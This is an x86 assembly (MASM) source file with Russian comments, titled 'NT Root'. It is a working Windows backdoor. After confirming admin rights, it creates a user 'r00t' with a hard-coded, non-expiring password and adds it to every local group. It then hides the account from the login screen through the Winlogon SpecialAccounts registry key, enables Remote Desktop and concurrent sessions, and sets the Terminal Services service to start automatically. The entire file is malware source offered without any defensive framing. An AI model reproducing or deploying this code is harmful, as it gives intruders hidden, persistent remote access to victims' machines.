.586
.model flat,stdcall
option casemap:none

   
   include windows.inc
   include kernel32.inc
   include shell32.inc
   include netapi32.inc
   include advapi32.inc
   include oleaut32.inc
 
   
   includelib kernel32.lib
   includelib shell32.lib
   includelib netapi32.lib
   includelib advapi32.lib
   includelib oleaut32.lib
   

   
.data

wzUser dw "r","0","0","t",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
wzPass dw "t","0","0","r",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
pwzUser dd offset wzUser
d1 dd 0
Err dd 0
Ginfo LOCALGROUP_INFO_1 <0>
Uinfo USER_INFO_1 <0>
Eread dd 0
Etotal dd 0

hKey dd 0
szTerm db "SYSTEM\CurrentControlSet\Control\Terminal Server",0
szLic db "SYSTEM\\CurrentControlSet\Control\Terminal Server\Licensing Core",0
szSacc db "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList",0
szUsr db "r00t",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
szVal db "fDenyTSConnections",0
szSes db "EnableConcurrentSessions",0
szSrvc db "TermService",0
Zer dd 0
One dd 1
Scm dd 0
Srvc dd 0
Sstat SERVICE_STATUS <0>
Sconf QUERY_SERVICE_CONFIG <0>
bneed dd ?

advpack db "advpack.dll",0
IsAdmin db "IsNTAdmin",0
_IsNTAdmin dd ?
hLib dd ?
szWin db MAX_PATH dup(?)

.code
start:
    
;NT Root
;==========================================================================
;Проверка на привилегии
;=======================
	invoke LoadLibrary,addr advpack
	mov hLib,eax
	invoke GetProcAddress,hLib,addr IsAdmin
	mov _IsNTAdmin,eax
	push 0
	push 0
	call _IsNTAdmin
    .if eax == 0
    	jmp error
    .endif
;================================
; Заполняем структуру пользователя
;================================    
	mov Uinfo.usri1_name,offset wzUser
	mov Uinfo.usri1_password,offset wzPass
	mov Uinfo.usri1_priv,USER_PRIV_USER
	mov Uinfo.usri1_flags,UF_SCRIPT or UF_DONT_EXPIRE_PASSWD
	
;================================
; Удаляем добавляем пользователя
;================================
	invoke NetUserDel,NULL,addr wzUser
	
	invoke NetUserAdd,NULL,1,addr Uinfo,addr Err
	cmp eax,0
	jne error
;================================
; Перечисляем группы
;================================	
	invoke NetLocalGroupEnum,0,1,addr Ginfo,0fffffffh,addr Eread,addr Etotal,0
	cmp eax,0
	jne error
	
	mov ecx,Eread
go: push ecx

	mov edx,dword ptr [Ginfo]
	mov edx,dword ptr [edx+ecx*8-8]
;=====================================
; Добавляем пользователя во все группы
;=====================================	
	invoke NetLocalGroupAddMembers,NULL,edx,3,addr pwzUser,1
	pop ecx
	loop go
	
	invoke NetApiBufferFree,addr Ginfo
;============================================
; Добавляем пользователя в состав специальных
;============================================	
	invoke RegOpenKeyEx,HKEY_LOCAL_MACHINE,addr szSacc,0,6,addr hKey
	invoke RegSetValueEx,hKey,addr szUsr,0,REG_DWORD,addr Zer,sizeof Zer
	invoke RegCloseKey,hKey
;============================================
; Разрешаем терминальные подключения
;============================================	
	invoke RegOpenKeyEx,HKEY_LOCAL_MACHINE,addr szTerm,0,6,addr hKey
	invoke RegSetValueEx,hKey,addr szVal,0,REG_DWORD,addr Zer,sizeof Zer
	invoke RegCloseKey,hKey
	
	invoke RegOpenKeyEx,HKEY_LOCAL_MACHINE,addr szLic,0,6,addr hKey
	invoke RegSetValueEx,hKey,addr szSes,0,REG_DWORD,addr One,sizeof One
	invoke RegCloseKey,hKey
	
	invoke OpenSCManager,0,0,SC_MANAGER_CONNECT
	mov Scm,eax
	invoke OpenService,Scm,addr szSrvc,SERVICE_START or SERVICE_QUERY_STATUS or SERVICE_CHANGE_CONFIG
	mov Srvc,eax
;============================================
; Запрашивем статус сервиса терминалов
;============================================
	invoke QueryServiceConfig,Srvc,NULL,0,addr bneed
	invoke QueryServiceConfig,Srvc,addr Sconf,bneed,addr bneed
	cmp Sconf.dwStartType,SERVICE_AUTO_START
	je autok
	invoke ChangeServiceConfig,Srvc,-1,SERVICE_AUTO_START,-1,0,0,0,0,0,0,0
autok:
	invoke QueryServiceStatus,Srvc,addr Sstat
	cmp Sstat.dwCurrentState,SERVICE_RUNNING
;=============================================
; Если на запушен запускаем
;=============================================
	je stnreq
	invoke StartService,Srvc,0,0
stnreq:	
	invoke CloseServiceHandle,Scm
	
	
ok:	invoke ExitProcess,0
error: invoke ExitProcess,1
end start